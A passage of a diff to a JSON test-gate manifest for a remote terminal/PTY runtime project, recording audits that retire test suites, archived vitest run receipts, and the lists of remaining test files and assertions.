-          "durationSeconds": 2.54,
-          "summary": "Seven deterministic STA-3107 contracts passed across six-pane multiplex rematerialization and client-owned sidebar-row retention after sleep/wake.",
-          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts src/renderer/src/runtime/web-session-tabs-sync/agent-status/paired-reconnect-sidebar-agent-count.test.ts --reporter=dot"
+          "durationSeconds": 1.99,
+          "summary": "Audit3329 focused candidate run: 1 suite / 1 deterministic unit case passed for parked-pane reconnect materialization. currentCommand names the same gate selector; executed command adds background launch and two-worker flags. This is local fake-runtime/store evidence only, not the complete gate, authenticated SSH/PTY/network, rendered Electron, provider, sleep/wake, mobile, mixed-version or cross-platform validation. Re-executed after updating onto main 985176b11bbb92175043a8d302581412d703e81c; unchanged finite reviewed source and owner identities."
         }
       ],
       "runtimeBudget": {
@@ -9825,6 +9528,9 @@
         "Include reconnect/polling artifacts that identify provider, connection id, and lease state."
       ],
       "knownGaps": [
+        "NEXT65 current scope qualification: The NEXT65 knownGaps entries below govern the changed selectors and qualify any broader coverage implication in this gate’s unchanged oracle/coverageNotes narratives. Those narratives and preserved dated evidenceRuns retain their historical text and original exact execution scopes only; no fresh execution, transferred pass or equivalent replacement coverage is claimed. Upstream case removals remain upstream; original NEXT65 proposal descriptions grant no duplicate retirement credit.",
+        "NEXT65 active selector scope reduction (including directory-selected whole-file retirements): src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts. Remove complete registrations or registrar files within the selected scope for src/renderer/src/components/terminal-pane/pty-connection/spawn/pty-connection-split-spawn.spec.ts. Intentionally lose these named regression alarms without replacement: clears the mobile-fit pane binding when the pane connection is disposed — Pane dispose clearing the mobile-fit binding and PTY dataset loses this direct example.; continues post-spawn size reconcile after a transient mobile presence lock — Size reconciliation continuing after a transient phone-presence lock loses this direct example.; spawns the delayed primary pane of an issue-command split when its sibling owns the tab PTY fallback — Delayed primary split spawning independently after a sibling acquires tab fallback loses this direct example.; does not reuse a sibling split pane pending spawn after remount — Remounted primary adopting its own pending PTY rather than the sibling spawn loses this direct example.; replays a stable-pane adoption without submitting the resume command — Stable-pane adoption replay preserving replay-before-live ordering and suppressing resume command loses this direct example.; forwards focus and hover reports without claiming a parked mirror (#26469) — Passive focus/hover forwarding without stealing mirror ownership, then intended Ctrl+C/click claiming, loses this direct example.. Surviving parent statements and sibling registrations are preserved, but these reduced parent selectors have no fresh execution or transferred historical pass. Unrelated complete dated receipts retain only their original exact scopes; no equivalent replacement, rendered UI, provider, mobile, or cross-platform coverage is claimed.",
+        "NEXT65 historical original active parent-selector fields (verbatim native JSON values; not current coverage):\ncommands: [\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts --reporter=dot\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal/background-terminal-worktree-mount.test.ts src/renderer/src/components/terminal-pane/mounting/queued-pane-startup.test.ts src/renderer/src/components/terminal-pane/parking/one-shot-park-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts src/renderer/src/store/terminals/terminal-pty-identity-replacement.test.ts\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-detach-attach-handoff.test.ts\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-outcome-recovery.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/recovery/remote-runtime-pty-recovery-state.test.ts src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-socket-generation.test.ts src/shared/remote-runtime/remote-runtime-client-error-classification.test.ts src/main/runtime/rpc/remote-runtime-server-heartbeat.test.ts src/main/runtime/terminal/launch/orca-runtime-terminal-create-idempotency.test.ts\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/ui/workspace-navigation-history-hydration.test.ts src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts --reporter=dot\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/ssh/ssh.test.ts src/main/ipc/worktrees-ssh-repo-owner-resolution.test.ts src/main/ssh/connection/ssh-connection-manager.test.ts src/main/ssh/connection/ssh-connection.test.ts src/preload/ssh-authority-forwarding.test.ts src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts src/renderer/src/runtime/hosts/ssh/runtime-environment-ssh-state.test.ts src/shared/ssh-retained-payload-admission.test.ts --reporter=dot\",\n        \"pnpm exec electron-vite build --mode e2e\",\n        \"pnpm run build:web-from-renderer\",\n        \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-materialization-reconnect.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n      ]\ntestFiles: [\n        \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts\",\n        \"src/renderer/src/components/terminal/background-terminal-worktree-mount.test.ts\",\n        \"src/renderer/src/components/terminal-pane/mounting/queued-pane-startup.test.ts\",\n        \"src/renderer/src/components/terminal-pane/parking/one-shot-park-replay.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-detach-attach-handoff.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-outcome-recovery.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/recovery/remote-runtime-pty-recovery-state.test.ts\",\n        \"src/renderer/src/store/terminals/terminal-pty-identity-replacement.test.ts\",\n        \"src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts\",\n        \"src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts\",\n        \"src/shared/remote-runtime/control/remote-runtime-shared-control-socket-generation.test.ts\",\n        \"src/shared/remote-runtime/remote-runtime-client-error-classification.test.ts\",\n        \"src/main/runtime/rpc/remote-runtime-server-heartbeat.test.ts\",\n        \"src/main/runtime/terminal/launch/orca-runtime-terminal-create-idempotency.test.ts\",\n        \"tests/e2e/paired-remote-terminal-materialization-reconnect.spec.ts\",\n        \"src/renderer/src/store/slices/ui/workspace-navigation-history-hydration.test.ts\",\n        \"src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts\",\n        \"src/main/ipc/ssh/ssh.test.ts\",\n        \"src/main/ipc/worktrees-ssh-repo-owner-resolution.test.ts\",\n        \"src/main/ssh/connection/ssh-connection-manager.test.ts\",\n        \"src/main/ssh/connection/ssh-connection.test.ts\",\n        \"src/preload/ssh-authority-forwarding.test.ts\",\n        \"src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts\",\n        \"src/renderer/src/runtime/hosts/ssh/runtime-environment-ssh-state.test.ts\",\n        \"src/shared/ssh-retained-payload-admission.test.ts\"\n      ]\nassertionRefs: [\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts\",\n          \"assertions\": [\n            \"a pane parked while the client slept is authoritatively activated and rematerialized without leaving any pane handle null\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts\",\n          \"assertions\": [\n            \"a stale web-mirror handle polls until a different ready handle is published without resubscribing the stale handle\",\n            \"replacement does not emit pane exit or disconnect callbacks and explicit terminal exit still retires the mirror\",\n            \"replacement polling and each in-flight request share a 15-second deadline, then accepted snapshots own recovery without input re-arming polling\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts\",\n          \"assertions\": [\n            \"recovery exposes connecting, recovering, backoff, connected, and fatal-offline phases with fenced epochs\",\n            \"ten partition cycles retain one PTY identity, reject detached input, and unsubscribe each epoch exactly once\",\n            \"automatic retries stop after one minute with no fatal error, no further requests, and no stale input\",\n            \"manual reconnect starts a new epoch, resubscribes the same PTY exactly once, and becomes healthy only after its snapshot\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-outcome-recovery.test.ts\",\n          \"assertions\": [\n            \"unknown terminal-create recovery stops all request activity after one minute without a fatal error, clips post-probe RPC timeouts to the remaining budget, then manual retry re-probes capability and reconciles the same mutation\",\n            \"an authoritative capability-probe failure replaces the stale connectivity error\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts\",\n          \"assertions\": [\n            \"a stale create completion cannot replace or close a newer attachment, including when two runtimes use the same raw handle\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/recovery/remote-runtime-pty-recovery-state.test.ts\",\n          \"assertions\": [\n            \"the automatic-recovery deadline cancels pending backoff and a manual retry owns a new epoch\"\n          ]\n        },\n        {\n          \"file\": \"src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts\",\n          \"assertions\": [\n            \"a suspended client receives a fresh probe deadline after resume and post-resume activity clears it\"\n          ]\n        },\n        {\n          \"file\": \"src/main/runtime/terminal/launch/orca-runtime-terminal-create-idempotency.test.ts\",\n          \"assertions\": [\n            \"one authenticated client/worktree mutation derives a stable server-owned terminal handle\",\n            \"an unknown-outcome retry adopts the same provider PTY after runtime-process restart without rerunning startup\",\n            \"retry inventory failure, missing same-worktree identity metadata, or ownership mismatch fails closed without spawning\",\n            \"in-flight mutation coordination is bounded and releases capacity after settlement\"\n          ]\n        },\n        {\n          \"file\": \"src/main/ssh/connection/ssh-connection-manager.test.ts\",\n          \"assertions\": [\n            \"disconnect invalidates a pending transport attempt immediately so late rejection or resolution cannot remove the replacement\"\n          ]\n        },\n        {\n          \"file\": \"src/main/ssh/connection/ssh-connection.test.ts\",\n          \"assertions\": [\n            \"late ssh2 ready and startup error events after disconnect cannot resurrect or overwrite disconnected state\"\n          ]\n        },\n        {\n          \"file\": \"src/preload/ssh-authority-forwarding.test.ts\",\n          \"assertions\": [\n            \"full authority crosses Electron IPC without loss\",\n            \"partial authority becomes unknown for bounded reconciliation and malformed full authority is dropped\",\n            \"variable-form host-qualified worktree requests retain fail-closed outcomes in their return type\"\n          ]\n        },\n        {\n          \"file\": \"src/shared/ssh-retained-payload-admission.test.ts\",\n          \"assertions\": [\n            \"retained connection states reject partial or malformed authority\",\n            \"only partial compatibility authority can normalize to unknown for bounded direct-SSH reconciliation\",\n            \"shared direct SSH authority admission requires bounded identifiers and a non-negative safe generation\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts\",\n          \"assertions\": [\n            \"partial runtime authority is rejected through the captured subscription callback before environment state receives it\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/runtime/hosts/ssh/runtime-environment-ssh-state.test.ts\",\n          \"assertions\": [\n            \"held replies from an old generation cannot replace a newer generation; failed full refresh preserves live state behind queued metadata\",\n            \"an unknown target triggers an authoritative list reread\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts\",\n          \"assertions\": [\n            \"a provider result becomes stale when same-ID repo ownership turns malformed or contradictory during the await\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts\",\n          \"assertions\": [\n            \"a StrictMode remount joins the pending spawn instead of starting a second one\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-detach-attach-handoff.test.ts\",\n          \"assertions\": [\n            \"abandoning an obsolete reattach drops its data, replay, write-unavailable, and exit handlers without killing the durable PTY\"\n          ]\n        }\n      ]",
         "Audit3077 reduces the IPC handoff suite while retaining the obsolete-reattach detach observer case and its alias. Removed nominal no-kill and gauge-cleanup alarms have no equivalent replacement.",
         "Audit3077 retires this complete dated receipt because its selected source was reduced. It does not validate the reduced selector. Original receipt verbatim:\n{\n          \"date\": \"2026-07-28\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport-reattach-admission.test.ts src/renderer/src/components/terminal-pane/pty-transport-detach-attach-handoff.test.ts\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 1.48,\n          \"summary\": \"All 90 transport tests passed, including pre-publication admission rejection, handler-complete non-destructive detach for obsolete SSH reattach transports, settled retirement of rejected or destroyed fresh fallbacks, and reported shutdown refusal.\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-reattach-admission.test.ts src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-detach-attach-handoff.test.ts\"\n        }",
         "Audit3069 retires nominal spawn/resume/banner wiring, first-fit and lookup-budget variants, private pending-map checks, the split-CWD disposal suite and startup command/draft baseline variants. Distinct regression alarms are intentionally lost without equivalent replacement; retained ownership, cancellation and recovery cases remain. Existing selectors and dated evidence retain their original scope.",
@@ -9878,7 +9584,29 @@
         "Audit2709 removes src/renderer/src/runtime/web-session-tabs-sync/inventory/remote-runtime-session-tabs-inflight.test.ts: intentionally retire waiting out an older inventory and sharing a fresh post-operation request among concurrent callers. No equivalent replacement or fresh execution is claimed. Dated receipts remain historical evidence for their unchanged selectors only; they do not validate the reduced commands or full current gate. Original prospective command before removal: pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/resolved-worktree-execution-host.test.ts src/renderer/src/components/terminal/background-terminal-worktree-mount.test.ts src/renderer/src/components/terminal-pane/mounting/queued-pane-startup.test.ts src/renderer/src/components/terminal-pane/parking/one-shot-park-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts src/renderer/src/runtime/web-session-tabs-sync/inventory/remote-runtime-session-tabs-inflight.test.ts src/renderer/src/store/terminals/terminal-pty-identity-replacement.test.ts",
         "Audit3086: retire the destroyed fresh-session fallback settlement/non-destructive reattach alias and its direct selector; retain the detach/attach selector and assertion unchanged. The retained admission cases cover adopt-before-data and explicitly buffered-death admission without a new spawn, without replacing fallback retirement. July 28 evidence was already archived by audit3077; no duplicate retirement or new execution is claimed.",
         "Audit3096: remove the deleted reconnect-banner selector and its two UI aliases. The reduced recovery-state selector retains only the deadline cancelling pending backoff and explicit retry owning a new epoch alias; healthy-replacement stale-schedule and independent caller-cutoff cancellation aliases retire. Other retained state cases cover reentrant retry, owner settlement and same-epoch parked revival, without replacing those removed alarms. Prior admission-selector retirement, archived July 28 receipt, unrelated selectors/claims/receipts and old gaps remain unchanged; no fresh execution is claimed.",
-        "Module-layout wave1 intentionally retires complete prohibited owning registrations in src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-attach-subscription.test.ts. Lost alarms: attaches to an existing remote runtime terminal handle; reports a rejected multiplex write through the pane recovery callback; does not report a rejected write from a superseded multiplex stream; does not report attachment health until the authoritative PTY snapshot arrives; drops its side-effect gauge from the census on %s; recovers when the first restored-terminal subscription attempt is offline; recovers when the runtime closes before a restored subscription becomes ready; surfaces a fatal error during subscription setup exactly once; reports viewer disconnect as an unverifiable remote exit; clears every retained transport error when the current stream becomes healthy. No equivalent replacement coverage or pass for a reduced selector is claimed. All unrelated selectors and historical receipts retain their original scope."
+        "Module-layout wave1 intentionally retires complete prohibited owning registrations in src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-attach-subscription.test.ts. Lost alarms: attaches to an existing remote runtime terminal handle; reports a rejected multiplex write through the pane recovery callback; does not report a rejected write from a superseded multiplex stream; does not report attachment health until the authoritative PTY snapshot arrives; drops its side-effect gauge from the census on %s; recovers when the first restored-terminal subscription attempt is offline; recovers when the runtime closes before a restored subscription becomes ready; surfaces a fatal error during subscription setup exactly once; reports viewer disconnect as an unverifiable remote exit; clears every retained transport error when the current stream becomes healthy. No equivalent replacement coverage or pass for a reduced selector is claimed. All unrelated selectors and historical receipts retain their original scope.",
+        "Module-layout wave2 intentionally retires complete prohibited owning registrations in src/renderer/src/lib/resolved-worktree-execution-host.test.ts. Lost alarms: Both explicit and legacy workspace owners resolve to env-a initially. Replacing the repo catalog refreshes legacy ownership to env-b. A conflicting local repo row makes ownership ambiguous and returns null. Repeated unrelated updates perform zero id reads, an internal work-budget alarm removed. No equivalent replacement coverage or reduced-selector pass is claimed.",
+        "Audit 3312 retires the ordinary six-pane distinct-live-handle reconnect/resubscription alarm from paired-reconnect-multi-pane-materialization.test.ts. The unchanged parked-pane activation/rematerialization case remains narrower and is not an equivalent replacement. The complete prior seven-contract macOS receipt is archived as historical evidence; it does not validate the reduced selector. No fresh socket, PTY, sleep/wake, provider, platform, mobile, mixed-version or rendered execution is claimed.",
+        "Audit 3312 retires this complete dated seven-contract receipt because paired-reconnect-multi-pane-materialization.test.ts was reduced. Original command, currentCommand, result, counts, date and duration remain historical and do not validate the reduced selector. Original receipt verbatim:\n{\n          \"date\": \"2026-08-23\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/paired-reconnect-multi-pane-materialization.test.ts src/renderer/src/runtime/paired-reconnect-sidebar-agent-count.test.ts --reporter=dot\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 2.54,\n          \"summary\": \"Seven deterministic STA-3107 contracts passed across six-pane multiplex rematerialization and client-owned sidebar-row retention after sleep/wake.\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts src/renderer/src/runtime/web-session-tabs-sync/agent-status/paired-reconnect-sidebar-agent-count.test.ts --reporter=dot\"\n        }",
+        "Audit3315 execution amendment: the reduced two-suite reconnect selector passed on Linux (2 cases). Original source-review statements about no fresh execution describe the earlier static review; this new receipt validates only these two local deterministic unit cases, not the complete gate or physical/runtime/rendered/provider/platform parity. Historical seven-case macOS receipt remains archived verbatim.",
+        "Audit 3318 reduces runtime-environment-ssh-state.test.ts, intentionally losing metadata membership-pruning/new-target-only-read and other-environment/local-bucket isolation alarms. Preserve generation/failed-full-refresh assertion and unknown-target authoritative-list reread; these narrower cases are not equivalent replacements. The unchanged active two-case Linux reconnect materialization/sidebar receipt and covered platform retain their exact scope and do not validate the reduced SSH state selector. Preserve unrelated SSH assertions, selectors and archived history. No fresh SSH discovery, provider/PTY/network, rendered, mobile, mixed-version, cross-platform or full-gate execution is claimed.",
+        "Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: keeps a sidebar row for every still-live pane after a long sleep — Whole suite: 279 lines manually replay renderer ownership registry/status writes, snapshot patch/set, six-pane fixture inventory, and sidebar selectors/builders; expected pane IDs are production-computed. Does not run sleep/wake/transport or actual sidebar entry. Retires reconnect row-preservation assembly alarm.; still retires the regular TUI surface after an explicit terminal exit — Ordinary explicit-exit callback/map cleanup is repeated in the stale/new stream lifecycle case below. Retires separate regular-TUI baseline; keeper is not equivalent process/UI proof.; asks the HUB to recover an expired SSH pane and rebinds the host identity — Expired SSH owner error must ask the owning HUB to recover, then adopt fixed replacement handle, resubscribe and report rebind; actual transport dispatch and handle state prevent wrong-client recovery.; does not recover a pane whose relay reply was an identity mismatch — Identity mismatch means a different live PTY, so actual transport must surface refusal without recover/create, keeping original identity. Prevents destructive duplicate agent recovery.; fails closed when an older HUB cannot recover an expired SSH pane — Old HUB method_not_found is scripted mock refusal/error echo with no actual skewed host; repeats generic recovery failure propagation. Retires old-host recovery fallback refusal example.; names a held recovery's stopped WSL distro in readable copy, not the raw hold code — Pins exact WSL stopped-distro error prose after mock code; translation/copy assertion with no actual held recovery behavior. Retires readable-copy alarm.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed.",
+        "Audit3326 retires this complete historical compound Linux unit receipt from active evidence because its paired-sidebar selector was removed. A fresh surviving-selector execution is required before restoring current evidence/platform credit. Original receipt verbatim:\n{\n          \"date\": \"2026-11-11\",\n          \"runner\": \"local\",\n          \"platform\": \"linux\",\n          \"command\": \"ORCA_BACKGROUND_LAUNCH=1 pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts src/renderer/src/runtime/web-session-tabs-sync/agent-status/paired-reconnect-sidebar-agent-count.test.ts --reporter=dot --maxWorkers=2\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts src/renderer/src/runtime/web-session-tabs-sync/agent-status/paired-reconnect-sidebar-agent-count.test.ts --reporter=dot\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 5.65,\n          \"summary\": \"Audit3315 focused candidate run: 2 suites / 2 deterministic unit cases passed for parked-pane reconnect materialization and client-owned sidebar retention. currentCommand names the same gate selector; executed command adds background launch and two-worker flags. This is local fake-runtime/store evidence only, not the complete gate, authenticated SSH/PTY/network, rendered Electron, provider, sleep/wake, mobile, mixed-version or cross-platform validation. Re-executed after rebasing onto main 1af64194a46d338777058c06954c2c8ee4a437be (candidate source commit 63adee8174d388466f9276a893972255cee06588).\"\n        }",
+        "Audit3329 execution amendment: the reduced one-suite reconnect selector passed on Linux (1 case). Original source-review statements about no fresh execution describe the earlier static review; this new receipt validates only this one local deterministic unit case, not the complete gate or physical/runtime/rendered/provider/platform parity. Historical seven-case macOS and two-case Linux receipts remain archived verbatim.",
+        "Audit3342 retires the complete client create-outcome identity/options/recovery suite and the malformed-or-contradictory repo-owner response matrix. Client replay identity, options, no-downgrade, quiescence/budget/manual retry, authoritative probe-error and malformed-owner refusal alarms are intentionally lost without equivalent replacement. Remaining repo-owner late catalog and old-host re-adoption boundaries do not replace them. The unrelated Linux paired-reconnect receipt stays verbatim with its original scope. Surviving selectors are unexecuted here; no fresh SSH/provider/process-deduplication, mobile, mixed-version or cross-platform validation is claimed.",
+        "Audit3342 historical original commands object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-outcome-recovery.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/recovery/remote-runtime-pty-recovery-state.test.ts src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-socket-generation.test.ts src/shared/remote-runtime/remote-runtime-client-error-classification.test.ts src/main/runtime/rpc/remote-runtime-server-heartbeat.test.ts src/main/runtime/terminal/launch/orca-runtime-terminal-create-idempotency.test.ts\"",
+        "Audit3342 historical original testFiles object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n\"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-outcome-recovery.test.ts\"",
+        "Audit3342 historical original assertionRefs object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n{\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-outcome-recovery.test.ts\",\n          \"assertions\": [\n            \"unknown terminal-create recovery stops all request activity after one minute without a fatal error, clips post-probe RPC timeouts to the remaining budget, then manual retry re-probes capability and reconciles the same mutation\",\n            \"an authoritative capability-probe failure replaces the stale connectivity error\"\n          ]\n        }",
+        "Audit3342 historical original assertionRefs object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n{\n          \"file\": \"src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts\",\n          \"assertions\": [\n            \"a provider result becomes stale when same-ID repo ownership turns malformed or contradictory during the await\"\n          ]\n        }",
+        "Audit3359 retires whole host-surface-replacement and create-handoff suites, removing their compound unit command tokens, test-file entries and assertion references. Fake polling/deadline/subscription, supplied stale-handle ownership, close and replacement examples are intentionally lost without equivalent replacement. The unrelated Linux paired multi-pane reconnect receipt stays verbatim with its original scope. No fresh SSH/provider/network/PTY recovery, historical-import, mobile, mixed-version or cross-platform validation is claimed.",
+        "Audit3359 historical original commands object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal/background-terminal-worktree-mount.test.ts src/renderer/src/components/terminal-pane/mounting/queued-pane-startup.test.ts src/renderer/src/components/terminal-pane/parking/one-shot-park-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts src/renderer/src/store/terminals/terminal-pty-identity-replacement.test.ts\"",
+        "Audit3359 historical original commands object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/recovery/remote-runtime-pty-recovery-state.test.ts src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-socket-generation.test.ts src/shared/remote-runtime/remote-runtime-client-error-classification.test.ts src/main/runtime/rpc/remote-runtime-server-heartbeat.test.ts src/main/runtime/terminal/launch/orca-runtime-terminal-create-idempotency.test.ts\"",
+        "Audit3359 historical original testFiles object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n\"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts\"",
+        "Audit3359 historical original testFiles object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n\"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts\"",
+        "Audit3359 historical original assertionRefs object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n{\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts\",\n          \"assertions\": [\n            \"a stale web-mirror handle polls until a different ready handle is published without resubscribing the stale handle\",\n            \"replacement does not emit pane exit or disconnect callbacks and explicit terminal exit still retires the mirror\",\n            \"replacement polling and each in-flight request share a 15-second deadline, then accepted snapshots own recovery without input re-arming polling\"\n          ]\n        }",
